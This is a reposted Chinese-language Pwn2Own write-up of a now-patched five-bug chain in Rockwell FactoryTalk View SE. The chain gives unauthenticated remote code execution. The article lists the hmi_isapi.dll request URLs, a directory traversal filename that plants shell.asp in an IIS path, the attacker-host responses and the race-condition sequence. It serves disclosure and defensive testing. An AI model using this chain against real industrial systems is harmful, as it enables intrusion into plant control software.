关闭

Rockwell工控软件的5个组合漏洞导致RCE

发表于:2020-8-05 09:40

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:佚名    来源:安界

#
漏洞
  前言
  2020年1月份,S4首次举办了在迈阿密的Pwn2Own比赛,在针对工业控制系统(ICS)产品的比赛中,Pedro Ribeiro和Radek Domanski的团队利用5个组合漏洞,在Rockwell的工控人机交互软件上(FactoryTalk View SE HMI)实现了RCE,并赢得了25,000美元的奖金和25个Pwn积分。现在厂商已经发布补丁,并且提供了writeup,演示视频和Metasploit模块。特别感谢Rockwell为本次比赛提供的虚拟机环境。
  正文
  本篇文章的主要内容是Pedro Ribeiro(@pedrib1337)和Radek Domanski(@RabbitPro)发现的一系列漏洞。这些漏洞已经在一月份ZDI的Pwn2Own迈阿密2020比赛中使用。Rockwell FactoryTalk View SE人机界面(HMI)版本11.00.00.230 中存在上述漏洞。较旧的版本也可能会被利用,但是Rockwell尚未确认。
  利用效果:无需身份认证即可在安装IIS的Windows主机上实现远程代码执行。攻击依赖于五个独立漏洞的组合。第一个漏洞是未经身份验证的项目复制请求,第二个漏洞是目录遍历,第三个漏洞是竞争条件。为了在所有目标上实现完全的远程代码执行,还利用了两个信息泄漏漏洞。
  本文根据组合漏洞利用的先后顺序,分别详细阐述各个漏洞的细节。
  漏洞细节
  FactoryTalk View SE在Microsoft IIS上开放了几个REST请求路径,这些请求路径可以通过远程访问。其中一个路径/rsviewse/hmi_isapi.dll,它是一个ISAPI DLL处理程序,主要执行一些处理FactoryTalk项目管理的工作。
  由于本文描述的漏洞都是使用纯黑盒的渗透测试方法发现的,所以没有必要对ISAPI DLL二进制程序进行逆向分析。
  漏洞1:未经身份验证的项目复制请求
   hmi_isapi.dll的一个操作是StartRemoteProjectCopy,可以通过HTTP GET请求来启动此操作:
  http:// <TARGET> /rsviewse/hmi_isapi.dllStartRemoteProjectCopy& <PROJECT_NAME>&<RANDOM_STRING>&<LHOST>
  其中:
  <TARGET>指运行FactoryTalk View SE的服务器。
  <PROJECT_NAME>必须是服务器上的现有项目。
  <RANDOM_STRING>可以是任何随机字符串。
  <LHOST>是攻击者的主机IP。
  发送这个请求后,如果<TARGET>主机上存在<PROJECT_NAME>,<TARGET>就会向<LHOST>发出HTTP GET请求:
 http:// <LHOST> /rsviewse/hmi_isapi.dll?BackupHMI& <RNA_ADDRESS>&<PROJECT_NAME>&1&1
  <RNA_ADDRESS>是FactoryTalk View SE使用的内网地址。这与我们的漏洞利用没有关系,因此忽略它。
  而且<LHOST>可以完全忽略请求内容,攻击者只需要返回如下响应
   HTTP/1.1 OK
  (...)
  <FILENAME>
  收到此响应后,<TARGET>将向<LHOST>发送HTTP GET请求:
请在文本框输入文字
  http:// <LHOST> / rsviewse / _bak / <FILENAME>
  <LHOST>可以向<TARGET>发送文件<FILENAME>,文件内容可以为任意值<FILE_DATA>
  <TARGET>随后将向地址<FACTORYTALK_HOME>_bak\<FILENAME>写入<FILE_DATA>,然后根据文件内容执行某些操作(由于这些操作和漏洞利用无关,因此没有具体分析),最后删除<FILENAME>文件。所有这些动作都在不到一秒钟的时间内发生。
  <FACTORYTALK_HOME>FactoryTalk View SE 的默认值为C:\Users\Public\Documents\RSView Enterprise。
  漏洞2:目录遍历
  发现了第一个漏洞之后,下一个目标就是获得远程代码执行。虽然文件名和文件的内容是完全可控的,但是还不能实现远程代码执行。
  实现RCE的最简单方法是将带有ASP或ASPX代码的文件写入IIS目录。利用目录遍历漏洞,将<FILENAME>设置为:
  ../SE/HMI项目/shell.asp
  <TARGET>就会将文件写入<FACTORYTALK_HOME>\SE\HMI Projects\shell.asp。由于这个路径在IIS中配置为虚拟路径,这个ASP文件一旦被访问就会立即执行。
  漏洞3:竞争条件
  上面提到<FILENAME>在被创建的1秒钟之内就会被删除。为了能够执行ASP代码,需要在写入文件后立即对其进行访问。
  这是一个典型的竞争条件漏洞,将在下一节中说明利用方式。
  漏洞4和5:GetHMIProjects和GetHMIProjectPaths的信息泄漏
  为了实现可靠的利用,有必要知道<PROJECT_NAME>在FactoryTalk View SE服务器上的路径。这些步骤对于PoC不是必需的,但对于武器化的利用还是必要的。厂商提供的Metasploit模块确实实现了这些步骤。通过以下请求,攻击者可获得项目列表
 http:// <TARGET> /rsviewse/hmi_isapi.dll?GetHMIProjects
  FactoryTalk View SE将响应:
   <?xml version="1.0"?>
  <!--Generated (Sat Jan 18 04:49:31 2020) by RSView ISAPI Server, Version 11.00.00.230, on Computer: EWS-->
  <HMIProjects>
  <HMIProject Name="FTViewDemo_HMI" IsWatcom="0" IsWow64="1" />
  </HMIProjects>
  在XML中包含了项目名称,可以在随后的请求中使用它来显示项目的路径:
 http:// <TARGET> /rsviewse/hmi_isapi.dll?GetHMIProjectPath& <PROJECT_NAME>
  这个响应将包含项目的完整路径:
 C:\ Users \ Public \ Documents \ RSView Enterprise \ SE \ HMI Projects \ FTViewDemo_HMI
  这个返回路径可以用来计算正确的路径穿越值,然后访问ASP文件实现RCE。
  组合利用
  实现RCE的流程:1-获取服务器上的项目列表。2-提取项目的实际路径以计算正确的目录遍历路径。3-启动一个HTTP服务器,该服务器负责响应FactoryTalk的请求。4-启动一个线程,该线程不断尝试访问恶意创建的ASP文件路径。5-发出请求触发项目复制。6-攻击者可以“赢得”竞争条件,并以IIS用户身份执行ASP代码。
  Metasploit模块
  对那些想测试自己系统的用户,我们提供了可以利用的Metasploit模块。利用完整步骤可以在上面的视频中看到实际操作。可以在此处访问该模块。
  结论
  我们希望您喜欢我们在Pwn2Own 迈阿密中的有关漏洞的writeup。罗克韦尔(Rockwell)在今年6月下旬修复了这些漏洞,并分配了漏洞编号CVE-2020-12027,CVE-2020-12028和CVE-2020-12029。但是安全公告似乎已移至需要登录才能阅读的位置。您需要创建一个帐户来访问其安全公告。该账户是免费创建的。如果您是罗克韦尔的客户,我们强烈建议您与售后支持联系,以确保您部署了最新版本的FactoryTalk View SE

       本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2024软件测试行业从业人员调查问卷》,您的见解,行业的声音!

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号